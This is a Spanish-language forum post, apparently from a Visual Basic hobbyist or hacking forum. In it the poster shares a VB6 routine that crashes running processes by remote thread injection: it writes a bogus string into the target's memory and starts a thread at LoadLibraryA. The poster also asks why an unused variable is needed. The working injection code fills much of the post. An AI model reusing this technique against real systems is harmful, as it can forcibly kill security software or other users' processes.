Jeje a ver ese code si mal no me equivoco es de Hendrix no de E0N...
Yo no habé de ningun code de E0N, yo te pase un code por MSN, asi en la ventana del MSN a pelo
, despues fue cuando me empezaste a hablar del code de Hendrix, pero tu te referias a otro, el de la DLL...
Weno eso no es la cuestion, el tema es que tu dices que hay que inyectar aunke aunke sea esa variable declarada, pero si te fijas y si no me equivoco lo que inyectas es la variable
Hendrix, la variable
DLL solo la declaras y no la inyectas...entonces para que declararla si no se usa? sin embargo si la quitas no funciona el code...eso es lo que no entiendo...
Weno tambien tengo que decir que el code es un poco "sensible"...si intento modificarlo un poco a veces deja de ir...
por ejemplo intenté poner un
For en la funcion y
PID en vez de ser un Long es una matriz de Longs...algo así para que nos etendamos:
Private Sub CrashProcesos(ByRef PID() As Long)
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim i as Long
Dim DLL
Hendrix = "Crash"
For i = LBound(PID) to UBound(PID)
proc = OpenProcess(PROCESS_ALL_ACCESS, 0, PID(i))
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(Hendrix), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, Hendrix, Len(Hendrix), 0
CreateRemoteThread proc, 0, 0, nload, rems, 0, 0
CloseHandle proc
Next i
End
End Sub
Y ahora lo que le paso es una matriz PID que contiene los PIDs que quiero terminar, pues ya no funciona...sin embargo, si quito el For, aunke use PID como una matriz el proceso si crasheara, aunke logicamente solo el primer elemento de la matriz pork al no haber For solo se ejecutará una vez el code con
i igual a
0...
Pero weno esto tiene solucion poniendo el For a la hora de llamar a la funcion, es decir llamar a la funcion varias veces...sin modificar la funcion original y en vez de pasar matrices paso el PID que quiro crashear, simplemente que tengo que llamar varias veces a la funcion, asi si funciona...
Weno esto era solo para decir que la funcion era algo sensible y se comporta un poco rarita pero weno ya la consegui acoplarla de manera funcional...pero me intriga la variable esa
DLL Gracias y saludos